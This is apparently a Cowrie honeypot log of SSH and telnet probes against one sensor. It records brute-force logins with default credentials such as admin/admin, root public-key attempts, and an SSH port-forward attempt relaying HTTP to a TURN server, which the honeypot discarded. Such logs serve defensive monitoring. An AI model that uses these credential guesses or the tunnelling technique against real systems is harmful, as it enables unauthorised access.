{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:07:19.021570Z","src_ip":"45.148.10.121","session":"b4a916345678","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:07:19.025848Z","src_ip":"45.148.10.121","session":"b4a916345678","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:07:19.121807Z","src_ip":"45.148.10.121","session":"b4a916345678","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":37268,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd13042b2271","protocol":"ssh","message":"New connection: 45.148.10.121:37268 (10.17.0.5:22) [session: fd13042b2271]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:07:19.201711Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:07:19.209424Z","src_ip":"45.148.10.121","session":"fd13042b2271","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:07:19.293249Z","src_ip":"45.148.10.121","session":"fd13042b2271","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:07:19.550847Z","src_ip":"45.148.10.121","session":"fd13042b2271","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:07:19.638171Z","session":"fd13042b2271","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:07:19.723620Z","src_ip":"45.148.10.121","session":"fd13042b2271","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:07:19.727630Z","src_ip":"45.148.10.121","session":"fd13042b2271","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:07:19.815226Z","src_ip":"45.148.10.121","session":"fd13042b2271","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.113.221.114","src_port":54350,"dst_ip":"10.17.0.5","dst_port":22,"session":"98834238aad0","protocol":"ssh","message":"New connection: 148.113.221.114:54350 (10.17.0.5:22) [session: 98834238aad0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:07:28.539993Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:07:28.545327Z","src_ip":"148.113.221.114","session":"98834238aad0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:07:28.564081Z","src_ip":"148.113.221.114","session":"98834238aad0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"66:6b:4d:0a:f4:9c:2d:b9:27:34:e3:72:97:4e:43:9e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7Z0k0dpFjapRPOPeG5gF4bYLSJjtvQ3WcRzCY/n+lGITa7sWJcyEhYFbYYbCf44MlwXF49YLXrWfsn8o8EqMoZoTAxcaoWuZvHdAqYgiW9wH+qxmjnFcHxPAYvP//GaZ7ut8YNmWS2gAWZDATp1tNRJedncrZNipqLUo4LhIgp8aV4HQ7lB+6khoF1mulSfExCUh4rW9Am3uf/tIOwuLH30mRmvrtXQNfL9RfJzyTNYjAMssW+AnhFWUBaQPqkV4xpJXO0OTm7LoDXu4FhnpOrpsgp9bLMaAWrEuMNTL0vhTv9PPHJAHkHjQV+l0rV/1fVcXwGirfXzsPLKbJ2cdJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 66:6b:4d:0a:f4:9c:2d:b9:27:34:e3:72:97:4e:43:9e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:07:28.637781Z","src_ip":"148.113.221.114","session":"98834238aad0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"66:6b:4d:0a:f4:9c:2d:b9:27:34:e3:72:97:4e:43:9e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7Z0k0dpFjapRPOPeG5gF4bYLSJjtvQ3WcRzCY/n+lGITa7sWJcyEhYFbYYbCf44MlwXF49YLXrWfsn8o8EqMoZoTAxcaoWuZvHdAqYgiW9wH+qxmjnFcHxPAYvP//GaZ7ut8YNmWS2gAWZDATp1tNRJedncrZNipqLUo4LhIgp8aV4HQ7lB+6khoF1mulSfExCUh4rW9Am3uf/tIOwuLH30mRmvrtXQNfL9RfJzyTNYjAMssW+AnhFWUBaQPqkV4xpJXO0OTm7LoDXu4FhnpOrpsgp9bLMaAWrEuMNTL0vhTv9PPHJAHkHjQV+l0rV/1fVcXwGirfXzsPLKbJ2cdJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:07:28.646452Z","src_ip":"148.113.221.114","session":"98834238aad0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a3:df:a9:2b:fd:9f:4f:d6:5d:9b:cf:85:44:bb:bf:75","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1hqvi9Yuc7gTXdMW8EVKfNRBXIo21dOud65b4o+3It50ycWuG4grmkBwUjx9iGSodcBze/8iPqQwxUQ5pcll5/7D8Ze5Lifrrf3XvijXO3ELiTRVMXh1XNhsyrcHePVF83YW5Z5lT680WQp166/KQTDMNRhdbjFLA8D3lO4GukpCXtHKEgyMWYX2/dHTtOJn/xjC0S/oaTlj8b3i/XH8BAo8wFf2UOINRi3wDgsr1xHhUEWQX/ESqeCbX8aOre4Mc6vuunoxm+LtQnsUQIpWeQ8+16flVPi0lgLRrcOznVWZaSL3UpcfFpo9tvOT5q7oKvG1/ht7PoZQsqsKjap5b","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a3:df:a9:2b:fd:9f:4f:d6:5d:9b:cf:85:44:bb:bf:75","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:07:28.668575Z","src_ip":"148.113.221.114","session":"98834238aad0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a3:df:a9:2b:fd:9f:4f:d6:5d:9b:cf:85:44:bb:bf:75","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1hqvi9Yuc7gTXdMW8EVKfNRBXIo21dOud65b4o+3It50ycWuG4grmkBwUjx9iGSodcBze/8iPqQwxUQ5pcll5/7D8Ze5Lifrrf3XvijXO3ELiTRVMXh1XNhsyrcHePVF83YW5Z5lT680WQp166/KQTDMNRhdbjFLA8D3lO4GukpCXtHKEgyMWYX2/dHTtOJn/xjC0S/oaTlj8b3i/XH8BAo8wFf2UOINRi3wDgsr1xHhUEWQX/ESqeCbX8aOre4Mc6vuunoxm+LtQnsUQIpWeQ8+16flVPi0lgLRrcOznVWZaSL3UpcfFpo9tvOT5q7oKvG1/ht7PoZQsqsKjap5b","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:07:28.673646Z","src_ip":"148.113.221.114","session":"98834238aad0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"46:37:78:ff:54:e5:88:7b:7b:7d:c3:f2:98:83:d0:8f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCj2DEVVcy4HhueexZMrYJIcFMvPLy1o136s9xv3SVNYvkK666u+7y0qS6VN7xJEIXFO5DKgt/Esi9AZy6Wkpz8BAVOvuB1o+Yl2BOR9Oz0cL9w783hO5YeeBHQoD7e476WsSvu+Hiil/fSGUH8Z0i/yFv5I73gxlfwN3FLsHS0R92j9UTH+2vD2XT6m6Cab5G0/WNFQkDw97UP/BXuKOu0blFXrqNlz4Pc8juN8XH/rKQF/blEAn/b5EL1NuEqhI29PXzc6X/Z6JQ5OOeVcBSYjF4DNg37JjGtSmQqOhe1PZ97fcdRfxuJn1dQgdIY2pBZLz8SBkVWwoo3HIC7Igu7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 46:37:78:ff:54:e5:88:7b:7b:7d:c3:f2:98:83:d0:8f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:07:28.696604Z","src_ip":"148.113.221.114","session":"98834238aad0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"46:37:78:ff:54:e5:88:7b:7b:7d:c3:f2:98:83:d0:8f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCj2DEVVcy4HhueexZMrYJIcFMvPLy1o136s9xv3SVNYvkK666u+7y0qS6VN7xJEIXFO5DKgt/Esi9AZy6Wkpz8BAVOvuB1o+Yl2BOR9Oz0cL9w783hO5YeeBHQoD7e476WsSvu+Hiil/fSGUH8Z0i/yFv5I73gxlfwN3FLsHS0R92j9UTH+2vD2XT6m6Cab5G0/WNFQkDw97UP/BXuKOu0blFXrqNlz4Pc8juN8XH/rKQF/blEAn/b5EL1NuEqhI29PXzc6X/Z6JQ5OOeVcBSYjF4DNg37JjGtSmQqOhe1PZ97fcdRfxuJn1dQgdIY2pBZLz8SBkVWwoo3HIC7Igu7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:07:28.700966Z","src_ip":"148.113.221.114","session":"98834238aad0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d9:d2:44:9d:07:89:67:18:f6:ef:aa:aa:17:39:63:fd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDN1IRy1sSOW5gQVNNlfECrg1P0f7UhNaBII8e5/u1j2MIhNCk2/0q08gf3f4Qo/LgcrJARPxeFTnF+QyK76QuuArd3Ry2cgKRwxjbxD9x2Y58KT1aVpbHv9dhig+nJ1TEiz68CS7pMDpZNLa5Y8QrldBFTja8durkYjWsMx2VJ2f5R9TB2fk9dDJyKJPj7OQ10z6QCi1wWYOkRd+Q5ejwqdeHplsUQhfgr6Bi7PqVqhk4XU5/fMKhbQMVsWgUUzZdtNSV7LeiRVFWlLMWr/izlEwaGkKuzhtHhbmXZKy42hUieqDfq5tRVTAZjrUk8aB3mtqeqtG01MTLqNo7FvQal","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d9:d2:44:9d:07:89:67:18:f6:ef:aa:aa:17:39:63:fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:07:28.721931Z","src_ip":"148.113.221.114","session":"98834238aad0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d9:d2:44:9d:07:89:67:18:f6:ef:aa:aa:17:39:63:fd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDN1IRy1sSOW5gQVNNlfECrg1P0f7UhNaBII8e5/u1j2MIhNCk2/0q08gf3f4Qo/LgcrJARPxeFTnF+QyK76QuuArd3Ry2cgKRwxjbxD9x2Y58KT1aVpbHv9dhig+nJ1TEiz68CS7pMDpZNLa5Y8QrldBFTja8durkYjWsMx2VJ2f5R9TB2fk9dDJyKJPj7OQ10z6QCi1wWYOkRd+Q5ejwqdeHplsUQhfgr6Bi7PqVqhk4XU5/fMKhbQMVsWgUUzZdtNSV7LeiRVFWlLMWr/izlEwaGkKuzhtHhbmXZKy42hUieqDfq5tRVTAZjrUk8aB3mtqeqtG01MTLqNo7FvQal","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:07:28.726030Z","src_ip":"148.113.221.114","session":"98834238aad0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8b:50:09:4e:a3:f0:8d:55:ee:c1:56:78:a4:f0:02:24","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAqWqtDSnenUXMGj7IAXsu54vKEad2R386tzGD9noh8AGHow28bHwKTQphG1YwjmBqGhj3Qf+4IvQ6O0GSD6Li9d3ufLxyEOZYvKN8CGjTTncMa/c13Cz1i3jTtILqz1dhC9q89fgPE4cZpA46qdlZdTcCGy9EShAn+Z+reTtGHIQG2YDzG7c0B+PLRphFAux93thLeyYlvtHW36g/yTCmZ5Uj9U5eICCj3rS/+lQwsUJp+z6gNRsIkprQdxjtAAtKrhcyxBfonFr5P8XRK89Ru5cAT0/NEQnWL3J37tnTp65vzeV4299rI491DvBWCRCb+/yP8Am9XmzDiPpjaXF+IQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8b:50:09:4e:a3:f0:8d:55:ee:c1:56:78:a4:f0:02:24","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:07:28.746919Z","src_ip":"148.113.221.114","session":"98834238aad0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8b:50:09:4e:a3:f0:8d:55:ee:c1:56:78:a4:f0:02:24","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAqWqtDSnenUXMGj7IAXsu54vKEad2R386tzGD9noh8AGHow28bHwKTQphG1YwjmBqGhj3Qf+4IvQ6O0GSD6Li9d3ufLxyEOZYvKN8CGjTTncMa/c13Cz1i3jTtILqz1dhC9q89fgPE4cZpA46qdlZdTcCGy9EShAn+Z+reTtGHIQG2YDzG7c0B+PLRphFAux93thLeyYlvtHW36g/yTCmZ5Uj9U5eICCj3rS/+lQwsUJp+z6gNRsIkprQdxjtAAtKrhcyxBfonFr5P8XRK89Ru5cAT0/NEQnWL3J37tnTp65vzeV4299rI491DvBWCRCb+/yP8Am9XmzDiPpjaXF+IQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:07:28.751472Z","src_ip":"148.113.221.114","session":"98834238aad0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:07:28.772765Z","src_ip":"148.113.221.114","session":"98834238aad0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":33614,"dst_ip":"159.203.135.109","dst_port":23,"session":"45f8a0eaaab4","protocol":"telnet","message":"New connection: 135.148.14.151:33614 (159.203.135.109:23) [session: 45f8a0eaaab4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:07:39.201212Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":44018,"dst_ip":"159.203.135.109","dst_port":22,"session":"93742e091308","protocol":"ssh","message":"New connection: 194.113.233.25:44018 (159.203.135.109:22) [session: 93742e091308]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:07:48.257013Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:07:48.262572Z","src_ip":"194.113.233.25","session":"93742e091308","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:07:48.353842Z","src_ip":"194.113.233.25","session":"93742e091308","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12356790","message":"login attempt [root/12356790] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:07:48.625572Z","src_ip":"194.113.233.25","session":"93742e091308","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:07:49.719598Z","src_ip":"194.113.233.25","session":"93742e091308","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.48.116.254","src_port":34014,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1e1569b38d1","protocol":"telnet","message":"New connection: 186.48.116.254:34014 (10.17.0.5:23) [session: a1e1569b38d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:08:01.578682Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.51.70.20","src_port":33308,"dst_ip":"10.17.0.5","dst_port":22,"session":"6094e80e63dc","protocol":"ssh","message":"New connection: 202.51.70.20:33308 (10.17.0.5:22) [session: 6094e80e63dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:08:02.925831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:08:02.931413Z","src_ip":"202.51.70.20","session":"6094e80e63dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:08:03.203338Z","src_ip":"202.51.70.20","session":"6094e80e63dc","protocol":"ssh"}
